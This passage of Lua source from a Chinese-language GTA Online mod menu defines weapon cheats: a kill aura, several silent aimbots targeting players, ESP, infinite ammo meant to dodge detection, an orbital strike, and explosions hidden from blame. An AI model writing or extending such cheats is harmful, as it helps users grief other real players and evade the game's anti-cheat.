                    menu.trigger_commands("allguns")
                end
            end
                if ENTITY.IS_ENTITY_A_VEHICLE(ent) then
                    local driver = VEHICLE.GET_PED_IN_VEHICLE_SEAT(ent, -1)
                if VEHICLE.GET_VEHICLE_NUMBER_OF_PASSENGERS(ent,true,false) >= 1 then
                    local soulveh = ENTITY.GET_ENTITY_MODEL(driver)
                    if not PED.IS_PED_A_PLAYER(driver) then
                        entities.delete_by_handle(driver)
                        end
                        STREAMING.REQUEST_MODEL(soulveh)
                        while(not STREAMING.HAS_MODEL_LOADED(soulveh))
                        do
                        wait(10)
                            end
                    PLAYER.SET_PLAYER_MODEL(players.user(),soulveh)
                    STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(soulveh)
                    wait(10)
                    PED.SET_PED_INTO_VEHICLE(players.user_ped(), ent, -1)
                    menu.trigger_commands("allguns")
                    end
                end
            end
    end)

GTLP(weapon_options, "磁铁枪", {"magnetgun"}, "很有趣喔~", function ()
    magnetgun()
end)

GTluaScript.slider_text(weapon_options, "设置磁铁枪", {}, "", {"平滑的", "混沌模式"}, function(index)
	setmagnetgun(index)
end)

GTLP(weapon_options, "磁铁实体", {"magnetents"}, "射击两个实体以让它们互相吸引", function()
	ctst()
end, function ()
	counter = 0
	shotEntities = {}; entityPairs = {}
end)

KA_Radius = 20
KA_Blame = true
KA_Players = false
KA_Onlyplayers = false
KA_Delvehs = false
KA_Delpeds = false

GTLP(wea_func, "子弹追踪", {"killaura"}, "在范围内杀死所有人.", function ()
    local tKCount = 1
    local toKill = {}
    local ourcoords = getEntityCoords(GetLocalPed())
    local ourped = GetLocalPed()
    local weaponhash = 177293209
    local pedPointers = entities.get_all_peds_as_pointers()
    for i = 1, #pedPointers do
        local v3 = entities.get_position(pedPointers[i])
        local vdist = MISC.GET_DISTANCE_BETWEEN_COORDS(ourcoords.x, ourcoords.y, ourcoords.z, v3.x, v3.y, v3.z, true)
        if vdist <= KA_Radius then
            toKill[tKCount] = entities.pointer_to_handle(pedPointers[i])
            tKCount = tKCount + 1
        end
    end
    for i = 1, #toKill do
        if (not KA_Onlyplayers and not PED.IS_PED_A_PLAYER(toKill[i])) or (KA_Players) or (KA_Onlyplayers and PED.IS_PED_A_PLAYER(toKill[i])) then
            if toKill[i] ~= GetLocalPed() then
                if not PED.IS_PED_DEAD_OR_DYING(toKill[i]) then
                    if PED.IS_PED_IN_ANY_VEHICLE(toKill[i]) then
                        local veh = PED.GET_VEHICLE_PED_IS_IN(toKill[i], false)
                        local pedcoords = getEntityCoords(toKill[i])
                        if not PED.IS_PED_A_PLAYER(toKill[i]) and KA_Delvehs then
                            entities.delete_by_handle(veh)
                        end
                        if KA_Blame then
                            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS_IGNORE_ENTITY(pedcoords.x, pedcoords.y, pedcoords.z + 0.5, pedcoords.x, pedcoords.y, pedcoords.z, 1000, true, weaponhash, ourped, false, FastNet, -1, veh, true)
                            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS_IGNORE_ENTITY(pedcoords.x, pedcoords.y, pedcoords.z - 0.5, pedcoords.x, pedcoords.y, pedcoords.z, 1000, true, weaponhash, ourped, false, FastNet, -1, veh, true)
                            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS_IGNORE_ENTITY(pedcoords.x + 1, pedcoords.y, pedcoords.z + 0.5, pedcoords.x, pedcoords.y, pedcoords.z, 1000, true, weaponhash, ourped, false, FastNet, -1, veh, true)
                            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS_IGNORE_ENTITY(pedcoords.x - 1, pedcoords.y, pedcoords.z + 0.5, pedcoords.x, pedcoords.y, pedcoords.z, 1000, true, weaponhash, ourped, false, FastNet, -1, veh, true)
                            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS_IGNORE_ENTITY(pedcoords.x, pedcoords.y + 1, pedcoords.z + 0.5, pedcoords.x, pedcoords.y, pedcoords.z, 1000, true, weaponhash, ourped, false, FastNet, -1, veh, true)
                            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS_IGNORE_ENTITY(pedcoords.x, pedcoords.y - 1, pedcoords.z + 0.5, pedcoords.x, pedcoords.y, pedcoords.z, 1000, true, weaponhash, ourped, false, FastNet, -1, veh, true)
                        else
                            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS_IGNORE_ENTITY(pedcoords.x, pedcoords.y, pedcoords.z + 0.5, pedcoords.x, pedcoords.y, pedcoords.z, 1000, true, weaponhash, 0, false, false, -1, veh, true)
                            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS_IGNORE_ENTITY(pedcoords.x, pedcoords.y, pedcoords.z - 0.5, pedcoords.x, pedcoords.y, pedcoords.z, 1000, true, weaponhash, 0, false, false, -1, veh, true)
                            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS_IGNORE_ENTITY(pedcoords.x + 1, pedcoords.y, pedcoords.z + 0.5, pedcoords.x, pedcoords.y, pedcoords.z, 1000, true, weaponhash, 0, false, false, -1, veh, true)
                            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS_IGNORE_ENTITY(pedcoords.x - 1, pedcoords.y, pedcoords.z + 0.5, pedcoords.x, pedcoords.y, pedcoords.z, 1000, true, weaponhash, 0, false, false, -1, veh, true)
                            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS_IGNORE_ENTITY(pedcoords.x, pedcoords.y + 1, pedcoords.z + 0.5, pedcoords.x, pedcoords.y, pedcoords.z, 1000, true, weaponhash, 0, false, false, -1, veh, true)
                            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS_IGNORE_ENTITY(pedcoords.x, pedcoords.y - 1, pedcoords.z + 0.5, pedcoords.x, pedcoords.y, pedcoords.z, 1000, true, weaponhash, 0, false, false, -1, veh, true)
                        end
                        wait(50)
                        if not PED.IS_PED_A_PLAYER(toKill[i]) and PED.IS_PED_DEAD_OR_DYING(toKill[i]) and KA_Delpeds then
                            entities.delete_by_handle(toKill[i])
                        end
                    else
                        local pedcoords = getEntityCoords(toKill[i])
                        if KA_Blame then
                            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pedcoords.x, pedcoords.y, pedcoords.z + 2, pedcoords.x, pedcoords.y, pedcoords.z, 1000, true, weaponhash, ourped, false, false, -1)
                        else
                            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pedcoords.x, pedcoords.y, pedcoords.z + 2, pedcoords.x, pedcoords.y, pedcoords.z, 1000, true, weaponhash, 0, false, false, -1)
                        end
                        wait(50)
                        if not PED.IS_PED_A_PLAYER(toKill[i]) and PED.IS_PED_DEAD_OR_DYING(toKill[i]) and KA_Delpeds then
                            entities.delete_by_handle(toKill[i])
                        end
                    end
                end
            end
        end
    end
    wait(100)
end)

GTluaScript.slider(wea_func, "子弹范围", {"karadius"}, "子弹范围.", 1, 100, 20, 1, function (value)
    KA_Radius = value
end)

grapplegun = false
GTTG(wea_func, "绳索枪", {}, "蜘蛛侠" , function(on)
    grapplegun = on
    if on then
        WEAPON.GIVE_WEAPON_TO_PED(players.user_ped(), util.joaat('weapon_pistol'), 9999, false, false)
        notification("绳索枪现已激活！ 用手枪射击某处。 擒抱时按 R 可停止擒抱。", colors.blue)
    end
end)

----
GTLP(wea_func, "删除枪", {""}, "对所有实体均可有效", function()
    if PLAYER.IS_PLAYER_FREE_AIMING(PLAYER.PLAYER_ID()) then
        local pEntity = memory.alloc_int()
        if PLAYER.GET_ENTITY_PLAYER_IS_FREE_AIMING_AT(PLAYER.PLAYER_ID(), pEntity) then
            local entity = memory.read_int(pEntity)
            local WeaponHash = WEAPON.GET_SELECTED_PED_WEAPON(PLAYER.PLAYER_ID())
            local vehicle = PED.GET_VEHICLE_PED_IS_IN(entity, false)
            if vehicle != 0 then
                if WEAPON.HAS_ENTITY_BEEN_DAMAGED_BY_WEAPON(vehicle, WeaponHash, 2) then
                    entities.delete_by_handle(entity)
                end
            end
            if WEAPON.HAS_ENTITY_BEEN_DAMAGED_BY_WEAPON(entity, WeaponHash, 2) then
                entities.delete_by_handle(entity)
            end
        end
    end
    wait()
end)

--

PROX_Coords = {}
PROX_Count = 1

GTLP(wea_func, "感应地雷枪", {"proxgun"}, "仅适用于坐标, 不是实体.", function ()
    local localped = GetLocalPed()
    if PED.IS_PED_SHOOTING(localped) then 
        local pointer = memory.alloc() 
        local junk = WEAPON.GET_PED_LAST_WEAPON_IMPACT_COORD(localped, pointer) 
        local coord = memory.read_vector3(pointer) 
        if coord.x ~= 0.0 and coord.y ~= 0.0 and coord.z ~= 0.0 then 
            PROX_Coords[PROX_Count] = coord 
            PROX_Count = PROX_Count + 1 
            if SE_Notifications then
                util.toast("感应地雷放在 " .. coord.x .. " " .. coord.y .. " " .. coord.z)
            end
        end
        memory.free(pointer)
    end
end)



GTLP(wea_func, "启用/禁用感应地雷", {"enableprox", "proxon"}, "让感应地雷检查实体是否在它们旁边.", function ()
    if PROX_Coords ~= nil then
        for i = 1, #PROX_Coords do
            local pedTable = entities.get_all_peds_as_handles()
            for a = 1, #pedTable do
                if ENTITY.IS_ENTITY_IN_AREA(pedTable[a], PROX_Coords[i].x + 2, PROX_Coords[i].y + 2, PROX_Coords[i].z, PROX_Coords[i].x - 2, PROX_Coords[i].y - 2, PROX_Coords[i].z + 2, true, true, true) then
                    SE_add_owned_explosion(GetLocalPed(), PROX_Coords[i].x, PROX_Coords[i].y, PROX_Coords[i].z, 2, 10, true, false, 0.4)
                end
            end
        end
    end
end)

GTAC(wea_func, "清理所有感应地雷", {"clearprox"}, "", function ()
    util.toast("已清理掉所有 " .. #PROX_Coords .. " 感应地雷!")
    PROX_Coords = {}
    PROX_Count = 1
end)

GTAC(wea_func, "删除被枪械标记的实体", {}, "", function ()
    for i = 1, #MarkedForExt, 1 do
        entities.delete_by_handle(MarkedForExt[i])
    end
    MarkedForExt = {}
    MarkedForExtCount = 1
    if SE_Notifications then
        util.toast("清理所有被标记的实体...")
    end
end)
GTAC(wea_func, "清理删除列表", {}, "", function ()
    MarkedForExt = {}
    MarkedForExtCount = 1
end)

GTLP(wea_func, "射出NPC", {""}, "随机NPC(威力很大)", function()
    shechuNPC()
end)

drivergun = false
GTTG(wea_func, "NPC驾驶枪", {}, "射击车辆以插入一个NPC司机，该司机会将车辆开到一个随机区域。 由于实体所有权，您可能需要多射击几次。", function(on)
    drivergun = on
end)

GTTG(wea_func, "隐形武器", {}, "使你的武器隐形。 可能仅限本地。 切换武器时需要重新开启。", function(on)
    local plyr = players.user_ped()
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(plyr, not on, false, false, false) 
end)

GTLP(wea_func, "彩虹武器", {""}, "", function()
    local plyr = players.user_ped()
    if start_tint == nil then
        start_tint = WEAPON.GET_PED_WEAPON_TINT_INDEX(plyr, WEAPON.GET_SELECTED_PED_WEAPON(plyr))
        cur_tint = start_tint
    end
    cur_tint = if cur_tint == 8 then 0 else cur_tint + 1
    WEAPON.SET_PED_WEAPON_TINT_INDEX(plyr,WEAPON.GET_SELECTED_PED_WEAPON(plyr), cur_tint)
    wait(50)
end, function()
        WEAPON.SET_PED_WEAPON_TINT_INDEX(players.user_ped(),WEAPON.GET_SELECTED_PED_WEAPON(players.user_ped()), start_tint)
        start_tint = nil
end)

aim_info = false
GTTG(shitixinxi,"实体信息枪1.0", {""}, "", function(on)
    aim_info = on
end)

isLog_entity_info = false
GTLP(shitixinxi, "实体信息枪2.0", {}, "显示瞄准射击的实体信息", function()
local ent = GetEntity_PlayerIsAimingAt(players.user())
if ent ~= NULL and ENTITY.DOES_ENTITY_EXIST(ent) then
local entity_info = "[GT]>>>实体信息<<<[GT]\n"
local modelHash = ENTITY.GET_ENTITY_MODEL(ent)
entity_info = entity_info .. "哈希: " .. modelHash
if ENTITY.IS_ENTITY_A_MISSION_ENTITY(ent) then
entity_info = entity_info .. "\nIS A MISSION ENTITY"
end
local entity_types = { "没有实体", "人物", "载具", "实体" }
local entity_type = ENTITY.GET_ENTITY_TYPE(ent)
entity_info = entity_info .. "\n物体类型: " .. entity_types[entity_type + 1]
local entity_pop_types = {
"POPTYPE_UNKNOWN",
"POPTYPE_RANDOM_PERMANENT",
"POPTYPE_RANDOM_PARKED",
"POPTYPE_RANDOM_PATROL",
"POPTYPE_RANDOM_SCENARIO",
"POPTYPE_RANDOM_AMBIENT",
"POPTYPE_PERMANENT",
"POPTYPE_MISSION",
"POPTYPE_REPLAY",
"POPTYPE_CACHE",
"POPTYPE_TOOL" }
local entity_pop_type = ENTITY.GET_ENTITY_POPULATION_TYPE(ent)
entity_info = entity_info .. "\n类型: " .. entity_pop_types[entity_pop_type + 1]
entity_info = entity_info .. "\n健康值: " .. ENTITY.GET_ENTITY_HEALTH(ent)
if entity_type == 3 then
if OBJECT.IS_OBJECT_A_PICKUP(ent) then
entity_info = entity_info .. "\n\nIS A PICKUP"
end
if OBJECT.IS_OBJECT_A_PORTABLE_PICKUP(ent) then
entity_info = entity_info .. "\nIS A PORTABLE PICKUP"
end
end
if ENTITY.IS_ENTITY_ATTACHED(ent) then
entity_info = entity_info .. "\n\nIS ENTITY ATTACHED"
local attached_entity = ENTITY.GET_ENTITY_ATTACHED_TO(ent)
entity_info = entity_info .. "\n附加实体模型哈希 :" .. ENTITY.GET_ENTITY_MODEL(attached_entity)
end
entity_info = entity_info .. "\n位置: " .. ENTITY.GET_ENTITY_HEADING(ent)
local pos = ENTITY.GET_ENTITY_COORDS(ent)
entity_info = entity_info .. "\nX : " .. pos.x .. "\nY : " .. pos.y .. "\nZ : " .. pos.z
directx.draw_text(0, 0.0, entity_info, ALIGN_TOP_LEFT, 0.7, 1, 0, 1, 1, true)
if isLog_entity_info then
util.log(entity_info)
end
end
end)
GTTG(shitixinxi, "记录到日志", {}, "将实体上传日志", function(toggle)
isLog_entity_info = toggle
end)

GTLP(wea_func, "彩弹枪", {"攻击车辆变颜色"}, "攻击车辆变颜色", function ()
    caidancargun()
end)

GTLP(wea_func, "空袭枪", {"airstrikegun"}, "", function()
    airstgun()
end)

GTLP(wea_func, "子弹更改器", {"bulletchanger"}, "", function ()
    bulletchanger()
end)

GTLuaScript.list_select(wea_func, "设置武器子弹", {}, "", {
	{util.get_label_text("WT_A_RPG")}, {util.get_label_text("WT_FWRKLNCHR")},
	{util.get_label_text("WT_RAYPISTOL")}, {util.get_label_text("WT_GL")},
	{util.get_label_text("WT_MOLOTOV")}, {util.get_label_text("WT_SNWBALL")},
	{util.get_label_text("WT_FLAREGUN")}, {util.get_label_text("WT_EMPL")},}, 1, function(opt)
        bulletchanger_set(opt)
end)


local hitEffectRoot <const> = GT(Gun_Effect_Shooting_Hit, "击打特效", {}, "")

GTLP(hitEffectRoot, "开启", {"hiteffects"}, "", function()
	hittingeffect()
end)

GTLuaScript.list_select(hitEffectRoot, "切换子弹特效", {}, "", hiteffectchinese, 1, function (opt)
	sethiteffect(opt)
end)

local SetEffectColour = function(colour) effectColour = colour end

local menuColour = GTluaScript.colour(hitEffectRoot, "颜色", {"effectcolour"}, "仅对某些效果有效", effectColour, false, SetEffectColour)
GTluaScript.rainbow(menuColour)


GTTG(wea_func, '友好枪', {'JSfriendlyFire'}, '使您射击NPC时让他们不会攻击您.', function(toggle)
    friendshipgun(toggle)
end)

GTLP(wea_func, '热成像枪', {'JSthermalGuns'}, '当您瞄准时按"E"可以启用热成像功能.', function()
    thermalgun()
end)

GTLP(wea_func, '超级冲锋', {}, '使用近战时将附近模型推开', function ()
	supeerrunning()
end)

GTTG(wea_func, "女武神火箭", {"valkrocket"}, "", function(toggle)
    rocketgo(toggle)
end)

GTAC(wea_func, "发射引导导弹", {"missile"}, "", function()
	if not UFO.exists() then GuidedMissile.create() end
end)

GTTG(wea_func, "可以射击队友", {}, '使你在游戏中能够射击队友', function(toggle)
    PED.SET_CAN_ATTACK_FRIENDLY(PLAYER.PLAYER_PED_ID(), toggle, false)
end)

GTLP(wea_func, '翻滚时自动换弹夹', {}, '当你做翻滚动作时更换弹夹', function()
    runreload()
end)

GTTG(wea_func, "无限弹药", { "inf_ammo" }, '可以避免子弹过多的检测', function(toggle)
    unlimitedbullet(toggle)
end)

GTLP(wea_func, "锁定弹药", { "lock_ammo" }, "锁定当前武器为最大弹药", function()
    lockthebullet()
end)

GTD(pvphelp, "自瞄")

local silent_aimbotroot = GT(pvphelp, "自瞄1.0", {""}, "")

GTTG(silent_aimbotroot, "自瞄", {"saimbottoggle"}, "", function(on) SE_Notifications = true
    silent_aimbot = on
    start_silent_aimbot()
end)

GTLP(silent_aimbotroot, "最大自瞄范围", {}, "手柄的辅助瞄准功能开启后，将有无限的范围.", function()
    PLAYER.SET_PLAYER_LOCKON_RANGE_OVERRIDE(players.user(), 99999999.0)
end)

GTTG(silent_aimbotroot, "自瞄玩家", {"saimbotplayers"}, "", function(on)
    satarget_players = on
end)

GTTG(silent_aimbotroot, "自瞄NPC\'s", {"saimbotpeds"}, "", function(on)
    satarget_npcs = on
end)

GTTG(silent_aimbotroot, "用视野指定范围", {"saimbotusefov"}, "你不会通过你的屁眼杀人", function(on)
    satarget_usefov = on
end)

GTluaScript.slider(silent_aimbotroot, "视野", {"saimbotfov"}, "", 1, 270, 180, 1, function(s)
    sa_fov = s
end)

GTTG(silent_aimbotroot, "忽略车内目标", {"saimbotnovehicles"}, "如果你想装的更像个正常人, 或者射车内目标时遇到问题", function(on)
    satarget_novehicles = on
end)

satarget_nogodmode = true
GTTG(silent_aimbotroot, "忽略无敌目标", {"saimbotnogodmodes"}, "因为这有什么意义？", function(on)
    satarget_nogodmode = on
end, true)

GTTG(silent_aimbotroot, "好友成为目标", {"saimbottargetfriends"}, "", function(on)
    satarget_targetfriends = on
end)

GTTG(silent_aimbotroot, "伤害修改", {"saimbotdmgo"}, "", function(on)
    satarget_damageo = on
end)

GTluaScript.slider(silent_aimbotroot, "伤害修改的数值", {"saimbotdamageoverride"}, "", 1, 1000, 100, 1, function(s)
    sa_odmg = s
end)

GTLP(pvphelp, "自瞄2.0", {}, "", function ()
    if PED.IS_PED_SHOOTING(GetLocalPed()) then 
        Silent_Aimbot.hash = WEAPON.GET_SELECTED_PED_WEAPON(GetLocalPed())
        local suitable = GetSuitableAimbotTarget(Silent_Aimbot.fov, Silent_Aimbot.fov_check,
            Silent_Aimbot.dist, Silent_Aimbot.los_check)

        if suitable ~= nil then
            local hitboxesCheckCount = 0
            for i, v in pairs(Silent_Aimbot.hitboxes) do
                if (v.toggled) then
                    ShootBulletAtPedBone(suitable, v.hash, Silent_Aimbot.dmg,
                        Silent_Aimbot.hash, Silent_Aimbot.advanced.speed)
                        if SE_Notifications then util.toast("射击 " .. i .. " 玩家的 " .. GetPlayerName_ped(suitable)) end
                        break;
                else
                    hitboxesCheckCount = hitboxesCheckCount + 1
                end
            end
            if (hitboxesCheckCount == 3) then
                util.toast("没有选择打击点")
            end
        end
    end
end)

local aimbot_settings = GT(pvphelp, "自瞄2.0设置", {}, "")
GTD(aimbot_settings, "---Settings---")
GTluaScript.slider(aimbot_settings, "伤害", {"saimdmg", "silentdamage"}, "伤害。 可能不准确。", 1, 10000, 100, 10, function (v) Silent_Aimbot.dmg = v end)
GTluaScript.slider(aimbot_settings, "范围", {"saimrange", "silentrange"}, "静默自瞄范围", 1, 10000, 300, 100, function (v) Silent_Aimbot.dist = v end)
GTluaScript.slider(aimbot_settings, "视野", {"saimfov", "silentfov"}, "静默自瞄视野", 1, 1000, 20, 1, function (v) Silent_Aimbot.fov = v/10 end)
GTTG(aimbot_settings, "视野检查", {}, "禁用视野检查。", function (toggle) Silent_Aimbot.fov_check = toggle end, true)
GTTG(aimbot_settings, "视线检查", {}, "禁用视线检查。", function (toggle) Silent_Aimbot.los_check = toggle end, true)
GTD(aimbot_settings, "---打击点---")
GTTG(aimbot_settings, "头", {"saimhead", "silenthead"}, "切换头部打击点。", function (toggle) Silent_Aimbot.hitboxes.head.toggled = toggle end)
GTTG(aimbot_settings, "脊柱/身体", {"saimspine", "saimbody", "silentbody"}, "切换身体打击点。", function (toggle) Silent_Aimbot.hitboxes.spine.toggled = toggle end)
GTTG(aimbot_settings, "骨盆", {"saimpelvis", "silentpelvis"}, "切换骨盆打击点。", function (toggle) Silent_Aimbot.hitboxes.pelvis.toggled = toggle end)
GTD(aimbot_settings, "---额外功能---")
GTluaScript.slider(aimbot_settings, "设定速度", {"silentspeed"}, "设置子弹的速度。 默认值为 -1。", -1, 2147483647, -1, 10, function (v) Silent_Aimbot.advanced.speed = v end)

weaponm = GT(pvphelp, "自瞄3.0", {}, "")
GTTG(weaponm, '开启自瞄', {"aimbot"}, '', function (on)
if on then
GTluaScript.trigger_commands("aimbot on")
else
GTluaScript.trigger_commands("aimbot off")
end
end)
weaponms = GT(weaponm, "目标", {}, ".")
GTTG(weaponms, '排除好友', {"aimbotexcludfriends"}, '', function (on)
if on then
GTluaScript.trigger_commands("aimbotexcludfriends on")
else
GTluaScript.trigger_commands("aimbotexcludfriends off")
end
end)
GTTG(weaponms, '玩家', {"aimbotplayers"}, '', function (on)
if on then
GTluaScript.trigger_commands("aimbotplayers on")
else
GTluaScript.trigger_commands("aimbotplayers off")
end
end)
GTTG(weaponms, 'NPC', {"aimbotpeds"}, '', function (on)
if on then
GTluaScript.trigger_commands("aimbotpeds on")
else
GTluaScript.trigger_commands("aimbotpeds off")
end
end)
GTTG(weaponms, '载具', {"aimbotvehicles"}, '', function (on)
if on then
GTluaScript.trigger_commands("aimbotvehicles on")
else
GTluaScript.trigger_commands("aimbotvehicles off")
end
end)

super_xray = GT(pvphelp, "自瞄4.0", {}, "", function(); end)

GTLP(super_xray, '启动自瞄', {'aimbotact'},'使用您的设置启动自瞄', function ()
    if PLAYER.IS_PLAYER_FREE_AIMING(players.user()) then
        Ped_aim_pool(aimbot.fov)
    else
        wait()
    end
end)

GTTG(super_xray, "不包括NPC", {""}, "", function (on)
    xray.npcs = not on
end)

GTTG(super_xray, "不包括车辆玩家", {""}, "", function (on)
    xray.players = not on
end)

GTTG(super_xray, "不包括车辆", {""}, "", function (on)
    xray.targetveh = not on
end)

GTTG(super_xray, "关闭ESP", {""}, "", function (on)
    xray.espline = not on
end)

GTTG(super_xray, "打开ESP", {""}, "", function (on)
    xray.espbox = on
end)

GTLuaScript.colour(super_xray, "ESP颜色", {""}, "", SuperESPrgb.color, false, function(bcolor)
    SuperESPrgb.color = bcolor
end)

GTLuaScript.slider_float(super_xray, "视野", {"tpslider"}, "", 100, 36000, 1000, 100, function (s)
    xray.fov = s*.01
end)

GTLP(zhunxin, "瞄准准星 (!)", {''}, '', function()
    HUD.SET_TEXT_SCALE(1.0,0.5)
    HUD.SET_TEXT_FONT(0)
    HUD.SET_TEXT_CENTRE(1)
    HUD.SET_TEXT_OUTLINE(0)
    HUD.SET_TEXT_COLOUR(255, 0, 0, 180)
    util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("!")
    HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.4999,0.4798,0)
end)

GTLP(zhunxin, "瞄准准星 (#)", {''}, '', function()
    HUD.SET_TEXT_SCALE(1.0,0.5)
    HUD.SET_TEXT_FONT(0)
    HUD.SET_TEXT_CENTRE(1)
    HUD.SET_TEXT_OUTLINE(0)
    HUD.SET_TEXT_COLOUR(255, 0, 0, 180)
    util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("#")
    HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.4999,0.4798,0)
end)

GTLP(zhunxin, "瞄准准星 ($)", {''}, '', function()
    HUD.SET_TEXT_SCALE(1.0,0.5)
    HUD.SET_TEXT_FONT(0)
    HUD.SET_TEXT_CENTRE(1)
    HUD.SET_TEXT_OUTLINE(0)
    HUD.SET_TEXT_COLOUR(255, 0, 0, 180)
    util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("$")
    HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.4999,0.4798,0)
end)

GTLP(zhunxin, "瞄准准星 (^)", {''}, '', function()
    HUD.SET_TEXT_SCALE(1.0,0.5)
    HUD.SET_TEXT_FONT(0)
    HUD.SET_TEXT_CENTRE(1)
    HUD.SET_TEXT_OUTLINE(0)
    HUD.SET_TEXT_COLOUR(255, 0, 0, 180)
    util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("^")
    HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.4999,0.486,0)
end)

GTLP(zhunxin, "瞄准准星 (&)", {''}, '', function()
    HUD.SET_TEXT_SCALE(1.0,0.5)
    HUD.SET_TEXT_FONT(0)
    HUD.SET_TEXT_CENTRE(1)
    HUD.SET_TEXT_OUTLINE(0)
    HUD.SET_TEXT_COLOUR(255, 0, 0, 180)
    util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("&")
    HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.4999,0.4798,0)
end)

GTLP(zhunxin, "瞄准准星 (*)", {''}, '', function()
    HUD.SET_TEXT_SCALE(1.0,0.5)
    HUD.SET_TEXT_FONT(0)
    HUD.SET_TEXT_CENTRE(1)
    HUD.SET_TEXT_OUTLINE(0)
    HUD.SET_TEXT_COLOUR(255, 0, 0, 180)
    util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("*")
    HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.4999,0.485,0)
end)

GTLP(zhunxin, "瞄准准星 (+)", {''}, '', function()
    HUD.SET_TEXT_SCALE(1.0,0.5)
    HUD.SET_TEXT_FONT(0)
    HUD.SET_TEXT_CENTRE(1)
    HUD.SET_TEXT_OUTLINE(0)
    HUD.SET_TEXT_COLOUR(255, 0, 0, 180)
    util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("+")
    HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.4999,0.477,0)
end)

GTLP(zhunxin, "瞄准准星 (·)", {''}, '', function()
    HUD.SET_TEXT_SCALE(1.0,0.5)
    HUD.SET_TEXT_FONT(0)
    HUD.SET_TEXT_CENTRE(1)
    HUD.SET_TEXT_OUTLINE(0)
    HUD.SET_TEXT_COLOUR(255, 0, 0, 180)
    util.BEGIN_TEXT_COMMAND_DISPLAY_TEXT("·")
    HUD.END_TEXT_COMMAND_DISPLAY_TEXT(0.49997,0.478,0)
end)

GTD(pvphelp, "天基炮")

--preload
ORB_Sneaky = false

GTAC(pvphelp, "天基炮射击标记点", {"orbway", "orbwp"}, "请标记点位再进行使用\n否则不起作用或者报错", function ()
    local wpos = HUD.GET_BLIP_COORDS(blip)
    if SE_Notifications then
        util.toast("所选标记点目标: " .. wpos.x .. " " .. wpos.y .. " " .. wpos.z)
    end
    if ORB_Sneaky then
        for a = 1, 30 do
            SE_add_explosion(wpos.x, wpos.y, wpos.z + 30 - a, 29, 10, true, false, 1, false)
            SE_add_explosion(wpos.x, wpos.y, wpos.z + 30 - a, 59, 10, true, false, 1, false)
            wait(30)
        end
    else
        for i = 1, 30 do
            SE_add_owned_explosion(GetLocalPed(), wpos.x, wpos.y, wpos.z + 30 - i, 29, 10, true, false, 1)
            SE_add_owned_explosion(GetLocalPed(), wpos.x, wpos.y, wpos.z + 30 - i, 59, 10, true, false, 1)
            wait(30)
        end
    end
end)

GTTG(pvphelp, "隐秘的爆炸", {}, "匿名击杀\n天基炮的爆炸不会归咎于您", function (on)
    ORB_Sneaky = on
end)

GTD(pvphelp, "自爆卡车")

--preload
CAR_S_sneaky = false
CAR_S_BLACKLIST = {}

GTLP(pvphelp, "载具自动自毁", {"carexplode"}, "当您在玩家旁边时会自动引爆您的车", function()
    local ourped = GetLocalPed()
    if PED.IS_PED_IN_ANY_VEHICLE(ourped, false) then
        local pedTable = entities.get_all_peds_as_pointers()
        local ourCoords = getEntityCoords(ourped)
        for i = 1, #pedTable do
            local handle = entities.pointer_to_handle(pedTable[i])
            if PED.IS_PED_A_PLAYER(handle) then
                local playerID = NETWORK.NETWORK_GET_PLAYER_INDEX_FROM_PED(handle)
                local v3 = entities.get_position(pedTable[i])
                local dist = DistanceBetweenTwoCoords(ourCoords, v3)
                if dist < 5 and handle ~= GetLocalPed() and not CAR_S_BLACKLIST[playerID] then
                    if CAR_S_sneaky then
                        SE_add_explosion(ourCoords.x, ourCoords.y, ourCoords.z, 2, 10, true, false, 0.1, false)
                        SE_add_explosion(ourCoords.x - 4, ourCoords.y, ourCoords.z, 2, 20, false, true, 0.1, false)
                        SE_add_explosion(ourCoords.x + 4, ourCoords.y, ourCoords.z, 2, 20, false, true, 0.1, false)
                        SE_add_explosion(ourCoords.x, ourCoords.y - 4, ourCoords.z, 2, 20, false, true, 0.1, false)
                        SE_add_explosion(ourCoords.x, ourCoords.y + 4, ourCoords.z, 2, 20, false, true, 0.1, false)
                    else
                        SE_add_owned_explosion(ourped, ourCoords.x, ourCoords.y, ourCoords.z, 2, 10, true, false, 0.1)
                        SE_add_owned_explosion(ourped, ourCoords.x - 4, ourCoords.y, ourCoords.z, 2, 20, false, true, 0.1)
                        SE_add_owned_explosion(ourped, ourCoords.x + 4, ourCoords.y, ourCoords.z, 2, 20, false, true, 0.1)
                        SE_add_owned_explosion(ourped, ourCoords.x, ourCoords.y - 4, ourCoords.z, 2, 20, false, true, 0.1)
                        SE_add_owned_explosion(ourped, ourCoords.x, ourCoords.y + 4, ourCoords.z, 2, 20, false, true, 0.1)
                    end
                end
            end
        end
    end
end)

GTTG(pvphelp, "隐秘的载具自毁", {"carexplodesneaky"}, "匿名击杀\n汽车自毁的爆炸不会归咎于你", function(on)
    CAR_S_sneaky = on
end)

GTD(pvphelp,"杀死光环")

